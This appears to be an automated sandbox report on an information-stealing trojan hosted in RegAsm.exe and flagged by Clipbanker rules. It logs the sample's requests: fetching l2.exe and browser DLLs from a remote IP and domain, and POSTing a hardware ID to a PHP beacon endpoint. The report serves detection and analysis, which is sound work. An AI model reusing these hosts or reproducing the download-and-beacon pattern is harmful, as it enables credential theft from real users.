Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

6_2_00405000

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: evokeedgellc.com

Source: unknown

HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 42 35 37 44 43 30 33 31 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 2d 2d 0d 0a Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="hwid"B8B57DC031EF3489889415------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="build"default------DAKFCGIJKJKFHIDHIIIE--

Source: RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/freebl3.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/mozglue.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/msvcp140.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/msvcp140.dllB
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/nss3.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/nss3.dllzz&V
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/softokn3.dll
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/sqlite3.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/sqlite3.dllb
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/sqlite3.dllz
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll
Source: RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/vcruntime140.dllK
Source: RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000152C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php5X
Source: RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpe
Source: RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpllets
Source: RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpop
Source: RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpp
Source: RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10amData
Source: file.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000006.00000002.2222256503.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: KJDAECAE.6.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: KJDAECAE.6.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KJDAECAE.6.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/
Source: RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe0.phprefox
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe00Start0
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://evokeedgellc.com/app/l2.exe070e3b305c8603360edcbdcfa92e1b3ad658-release
Source: EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: https://mozilla.org0/
Source: CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://support.mozilla.org
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: KJDAECAE.6.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/-
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&u
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: RegAsm.exe, RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_00418AB0 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

6_2_00418AB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 10.2.CAKKJKKECF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 10.2.CAKKJKKECF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 192000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA7B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	6_2_6CA7B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA7B8C0 rand_s,NtQueryVirtualMemory,	6_2_6CA7B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA7B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	6_2_6CA7B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	6_2_6CA1F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA135A0	6_2_6CA135A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA734A0	6_2_6CA734A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA7C4A0	6_2_6CA7C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA26C80	6_2_6CA26C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA1D4E0	6_2_6CA1D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA56CF0	6_2_6CA56CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA264C0	6_2_6CA264C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA3D4D0	6_2_6CA3D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA8542B	6_2_6CA8542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA8AC00	6_2_6CA8AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA55C10	6_2_6CA55C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA62C10	6_2_6CA62C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA25440	6_2_6CA25440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA8545C	6_2_6CA8545C
